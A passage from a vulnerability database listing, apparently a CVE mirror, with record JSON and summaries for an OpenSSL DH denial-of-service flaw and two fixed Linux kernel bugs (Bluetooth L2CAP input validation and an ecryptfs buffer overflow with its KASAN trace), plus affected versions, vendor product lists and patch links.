                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SINEC NMS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.0 SP1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:32:15.801Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-128433.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-556635.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-093430.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-341067.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-331112.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-915275.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-277137.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "1.0.2zj",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            },
            {
              "lessThan": "1.1.1x",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "3.0.13",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.5",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "David Benjamin (Google)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Richard Levitte"
        }
      ],
      "datePublic": "2023-11-06T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Generating excessively long X9.42 DH keys or checking\u003cbr\u003eexcessively long X9.42 DH keys or parameters may be very slow.\u003cbr\u003e\u003cbr\u003eImpact summary: Applications that use the functions DH_generate_key() to\u003cbr\u003egenerate an X9.42 DH key may experience long delays.  Likewise, applications\u003cbr\u003ethat use DH_check_pub_key(), DH_check_pub_key_ex() or EVP_PKEY_public_check()\u003cbr\u003eto check an X9.42 DH key or X9.42 DH parameters may experience long delays.\u003cbr\u003eWhere the key or parameters that are being checked have been obtained from\u003cbr\u003ean untrusted source this may lead to a Denial of Service.\u003cbr\u003e\u003cbr\u003eWhile DH_check() performs all the necessary checks (as of CVE-2023-3817),\u003cbr\u003eDH_check_pub_key() doesn\u0027t make any of these checks, and is therefore\u003cbr\u003evulnerable for excessively large P and Q parameters.\u003cbr\u003e\u003cbr\u003eLikewise, while DH_generate_key() performs a check for an excessively large\u003cbr\u003eP, it doesn\u0027t check for an excessively large Q.\u003cbr\u003e\u003cbr\u003eAn application that calls DH_generate_key() or DH_check_pub_key() and\u003cbr\u003esupplies a key or parameters obtained from an untrusted source could be\u003cbr\u003evulnerable to a Denial of Service attack.\u003cbr\u003e\u003cbr\u003eDH_generate_key() and DH_check_pub_key() are also called by a number of\u003cbr\u003eother OpenSSL functions.  An application calling any of those other\u003cbr\u003efunctions may similarly be affected.  The other functions affected by this\u003cbr\u003eare DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate().\u003cbr\u003e\u003cbr\u003eAlso vulnerable are the OpenSSL pkey command line application when using the\u003cbr\u003e\"-pubcheck\" option, as well as the OpenSSL genpkey command line application.\u003cbr\u003e\u003cbr\u003eThe OpenSSL SSL/TLS implementation is not affected by this issue.\u003cbr\u003e\u003cbr\u003eThe OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.\u003cbr\u003e\u003cbr\u003e"
            }
          ],
          "value": "Issue summary: Generating excessively long X9.42 DH keys or checking\nexcessively long X9.42 DH keys or parameters may be very slow.\n\nImpact summary: Applications that use the functions DH_generate_key() to\ngenerate an X9.42 DH key may experience long delays.  Likewise, applications\nthat use DH_check_pub_key(), DH_check_pub_key_ex() or EVP_PKEY_public_check()\nto check an X9.42 DH key or X9.42 DH parameters may experience long delays.\nWhere the key or parameters that are being checked have been obtained from\nan untrusted source this may lead to a Denial of Service.\n\nWhile DH_check() performs all the necessary checks (as of CVE-2023-3817),\nDH_check_pub_key() doesn\u0027t make any of these checks, and is therefore\nvulnerable for excessively large P and Q parameters.\n\nLikewise, while DH_generate_key() performs a check for an excessively large\nP, it doesn\u0027t check for an excessively large Q.\n\nAn application that calls DH_generate_key() or DH_check_pub_key() and\nsupplies a key or parameters obtained from an untrusted source could be\nvulnerable to a Denial of Service attack.\n\nDH_generate_key() and DH_check_pub_key() are also called by a number of\nother OpenSSL functions.  An application calling any of those other\nfunctions may similarly be affected.  The other functions affected by this\nare DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate().\n\nAlso vulnerable are the OpenSSL pkey command line application when using the\n\"-pubcheck\" option, as well as the OpenSSL genpkey command line application.\n\nThe OpenSSL SSL/TLS implementation is not affected by this issue.\n\nThe OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "LOW"
            },
            "type": "https://www.openssl.org/policies/secpolicy.html"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-606",
              "description": "CWE-606 Unchecked Input for Loop Condition",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-14T14:55:53.778Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.openssl.org/news/secadv/20231106.txt"
        },
        {
          "name": "1.0.2zj git commit",
          "tags": [
            "patch"
          ],
          "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=34efaef6c103d636ab507a0cc34dca4d3aecc055"
        },
        {
          "name": "1.1.1x git commit",
          "tags": [
            "patch"
          ],
          "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=710fee740904b6290fef0dd5536fbcedbc38ff0c"
        },
        {
          "name": "3.0.13 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=db925ae2e65d0d925adef429afc37f75bd1c2017"
        },
        {
          "name": "3.1.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=ddeb4b6c6d527e54ce9a99cba785c0f7776e54b6"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Excessive time spent in DH check / generation with large Q parameter value",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2023-5678",
    "datePublished": "2023-11-06T15:47:30.795Z",
    "dateReserved": "2023-10-20T09:38:43.518Z",
    "dateUpdated": "2026-05-12T10:32:15.801Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35965 (GCVE-0-2024-35965)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

Bluetooth: L2CAP: Fix not validating setsockopt user input

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix not validating setsockopt user input Check user input length before copying data.

Severity ?

No CVSS data available.

Assigner

Linux

References

5 references

URL	Tags
https://git.kernel.org/stable/c/f13b04cf65a86507f…
https://git.kernel.org/stable/c/9d42f373391211c7c…
https://git.kernel.org/stable/c/28234f8ab69c522ba…
https://git.kernel.org/stable/c/8ee0c132a61df9723…
https://git.kernel.org/stable/c/4f3951242ace5efc7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 33575df7be6748292f88453f29319af6d639c5c8 , < f13b04cf65a86507ff15a9bbf37969d25be3e2a0 (git) Affected: 33575df7be6748292f88453f29319af6d639c5c8 , < 9d42f373391211c7c8af66a3a316533a32b8a607 (git) Affected: 33575df7be6748292f88453f29319af6d639c5c8 , < 28234f8ab69c522ba447f3e041bbfbb284c5959a (git) Affected: 33575df7be6748292f88453f29319af6d639c5c8 , < 8ee0c132a61df9723813c40e742dc5321824daa9 (git) Affected: 33575df7be6748292f88453f29319af6d639c5c8 , < 4f3951242ace5efc7131932e2e01e6ac6baed846 (git)
Linux	Linux	Affected: 2.6.39 Unaffected: 0 , < 2.6.39 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35965",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:29:49.743932Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:41.521Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:37:39.951Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9d42f373391211c7c8af66a3a316533a32b8a607"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ee0c132a61df9723813c40e742dc5321824daa9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4f3951242ace5efc7131932e2e01e6ac6baed846"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:15.644Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/l2cap_sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f13b04cf65a86507ff15a9bbf37969d25be3e2a0",
              "status": "affected",
              "version": "33575df7be6748292f88453f29319af6d639c5c8",
              "versionType": "git"
            },
            {
              "lessThan": "9d42f373391211c7c8af66a3a316533a32b8a607",
              "status": "affected",
              "version": "33575df7be6748292f88453f29319af6d639c5c8",
              "versionType": "git"
            },
            {
              "lessThan": "28234f8ab69c522ba447f3e041bbfbb284c5959a",
              "status": "affected",
              "version": "33575df7be6748292f88453f29319af6d639c5c8",
              "versionType": "git"
            },
            {
              "lessThan": "8ee0c132a61df9723813c40e742dc5321824daa9",
              "status": "affected",
              "version": "33575df7be6748292f88453f29319af6d639c5c8",
              "versionType": "git"
            },
            {
              "lessThan": "4f3951242ace5efc7131932e2e01e6ac6baed846",
              "status": "affected",
              "version": "33575df7be6748292f88453f29319af6d639c5c8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/l2cap_sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.39"
            },
            {
              "lessThan": "2.6.39",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix not validating setsockopt user input\n\nCheck user input length before copying data."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:37.827Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f13b04cf65a86507ff15a9bbf37969d25be3e2a0"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d42f373391211c7c8af66a3a316533a32b8a607"
        },
        {
          "url": "https://git.kernel.org/stable/c/28234f8ab69c522ba447f3e041bbfbb284c5959a"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ee0c132a61df9723813c40e742dc5321824daa9"
        },
        {
          "url": "https://git.kernel.org/stable/c/4f3951242ace5efc7131932e2e01e6ac6baed846"
        }
      ],
      "title": "Bluetooth: L2CAP: Fix not validating setsockopt user input",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35965",
    "datePublished": "2024-05-20T09:41:55.171Z",
    "dateReserved": "2024-05-17T13:50:33.138Z",
    "dateUpdated": "2026-05-12T11:53:15.644Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38578 (GCVE-0-2024-38578)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:37 – Updated: 2026-05-12 11:54

Title

ecryptfs: Fix buffer size for tag 66 packet

Summary

In the Linux kernel, the following vulnerability has been resolved: ecryptfs: Fix buffer size for tag 66 packet The 'TAG 66 Packet Format' description is missing the cipher code and checksum fields that are packed into the message packet. As a result, the buffer allocated for the packet is 3 bytes too small and write_tag_66_packet() will write up to 3 bytes past the end of the buffer. Fix this by increasing the size of the allocation so the whole packet will always fit in the buffer. This fixes the below kasan slab-out-of-bounds bug: BUG: KASAN: slab-out-of-bounds in ecryptfs_generate_key_packet_set+0x7d6/0xde0 Write of size 1 at addr ffff88800afbb2a5 by task touch/181 CPU: 0 PID: 181 Comm: touch Not tainted 6.6.13-gnu #1 4c9534092be820851bb687b82d1f92a426598dc6 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2/GNU Guix 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0x4c/0x70 print_report+0xc5/0x610 ? ecryptfs_generate_key_packet_set+0x7d6/0xde0 ? kasan_complete_mode_report_info+0x44/0x210 ? ecryptfs_generate_key_packet_set+0x7d6/0xde0 kasan_report+0xc2/0x110 ? ecryptfs_generate_key_packet_set+0x7d6/0xde0 __asan_store1+0x62/0x80 ecryptfs_generate_key_packet_set+0x7d6/0xde0 ? __pfx_ecryptfs_generate_key_packet_set+0x10/0x10 ? __alloc_pages+0x2e2/0x540 ? __pfx_ovl_open+0x10/0x10 [overlay 30837f11141636a8e1793533a02e6e2e885dad1d] ? dentry_open+0x8f/0xd0 ecryptfs_write_metadata+0x30a/0x550 ? __pfx_ecryptfs_write_metadata+0x10/0x10 ? ecryptfs_get_lower_file+0x6b/0x190 ecryptfs_initialize_file+0x77/0x150 ecryptfs_create+0x1c2/0x2f0 path_openat+0x17cf/0x1ba0 ? __pfx_path_openat+0x10/0x10 do_filp_open+0x15e/0x290 ? __pfx_do_filp_open+0x10/0x10 ? __kasan_check_write+0x18/0x30 ? _raw_spin_lock+0x86/0xf0 ? __pfx__raw_spin_lock+0x10/0x10 ? __kasan_check_write+0x18/0x30 ? alloc_fd+0xf4/0x330 do_sys_openat2+0x122/0x160 ? __pfx_do_sys_openat2+0x10/0x10 __x64_sys_openat+0xef/0x170 ? __pfx___x64_sys_openat+0x10/0x10 do_syscall_64+0x60/0xd0 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 RIP: 0033:0x7f00a703fd67 Code: 25 00 00 41 00 3d 00 00 41 00 74 37 64 8b 04 25 18 00 00 00 85 c0 75 5b 44 89 e2 48 89 ee bf 9c ff ff ff b8 01 01 00 00 0f 05 <48> 3d 00 f0 ff ff 0f 87 85 00 00 00 48 83 c4 68 5d 41 5c c3 0f 1f RSP: 002b:00007ffc088e30b0 EFLAGS: 00000246 ORIG_RAX: 0000000000000101 RAX: ffffffffffffffda RBX: 00007ffc088e3368 RCX: 00007f00a703fd67 RDX: 0000000000000941 RSI: 00007ffc088e48d7 RDI: 00000000ffffff9c RBP: 00007ffc088e48d7 R08: 0000000000000001 R09: 0000000000000000 R10: 00000000000001b6 R11: 0000000000000246 R12: 0000000000000941 R13: 0000000000000000 R14: 00007ffc088e48d7 R15: 00007f00a7180040 </TASK> Allocated by task 181: kasan_save_stack+0x2f/0x60 kasan_set_track+0x29/0x40 kasan_save_alloc_info+0x25/0x40 __kasan_kmalloc+0xc5/0xd0 __kmalloc+0x66/0x160 ecryptfs_generate_key_packet_set+0x6d2/0xde0 ecryptfs_write_metadata+0x30a/0x550 ecryptfs_initialize_file+0x77/0x150 ecryptfs_create+0x1c2/0x2f0 path_openat+0x17cf/0x1ba0 do_filp_open+0x15e/0x290 do_sys_openat2+0x122/0x160 __x64_sys_openat+0xef/0x170 do_syscall_64+0x60/0xd0 entry_SYSCALL_64_after_hwframe+0x6e/0xd8

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/1c125b9287e58f364…
https://git.kernel.org/stable/c/235b85981051cd68f…
https://git.kernel.org/stable/c/edbfc42ab080e78c6…
https://git.kernel.org/stable/c/12db25a54ce6bb22b…
https://git.kernel.org/stable/c/0d0f8ba042af16519…
https://git.kernel.org/stable/c/2ed750b7ae1b5dc72…
https://git.kernel.org/stable/c/a20f09452e2f58f76…
https://git.kernel.org/stable/c/f6008487f1eeb8693…
https://git.kernel.org/stable/c/85a6a1aff08ec9f5b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < 1c125b9287e58f364d82174efb167414b92b11f1 (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < 235b85981051cd68fc215fd32a81c6f116bfc4df (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < edbfc42ab080e78c6907d40a42c9d10b69e445c1 (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < 12db25a54ce6bb22b0af28010fff53ef9cb3fe93 (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < 0d0f8ba042af16519f1ef7dd10463a33b21b677c (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < 2ed750b7ae1b5dc72896d7dd114c419afd3d1910 (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < a20f09452e2f58f761d11ad7b96b5c894c91030e (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < f6008487f1eeb8693f8d2a36a89c87d9122ddf74 (git) Affected: dddfa461fc8951f9b5f951c13565b6cac678635a , < 85a6a1aff08ec9f5b929d345d066e2830e8818e5 (git)
Linux	Linux	Affected: 2.6.21 Unaffected: 0 , < 2.6.21 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:32.595Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1c125b9287e58f364d82174efb167414b92b11f1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/235b85981051cd68fc215fd32a81c6f116bfc4df"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edbfc42ab080e78c6907d40a42c9d10b69e445c1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/12db25a54ce6bb22b0af28010fff53ef9cb3fe93"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0d0f8ba042af16519f1ef7dd10463a33b21b677c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2ed750b7ae1b5dc72896d7dd114c419afd3d1910"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a20f09452e2f58f761d11ad7b96b5c894c91030e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f6008487f1eeb8693f8d2a36a89c87d9122ddf74"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/85a6a1aff08ec9f5b929d345d066e2830e8818e5"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38578",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:14:06.312936Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:55.678Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:43.334Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ecryptfs/keystore.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1c125b9287e58f364d82174efb167414b92b11f1",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "235b85981051cd68fc215fd32a81c6f116bfc4df",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "edbfc42ab080e78c6907d40a42c9d10b69e445c1",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "12db25a54ce6bb22b0af28010fff53ef9cb3fe93",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "0d0f8ba042af16519f1ef7dd10463a33b21b677c",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "2ed750b7ae1b5dc72896d7dd114c419afd3d1910",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "a20f09452e2f58f761d11ad7b96b5c894c91030e",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
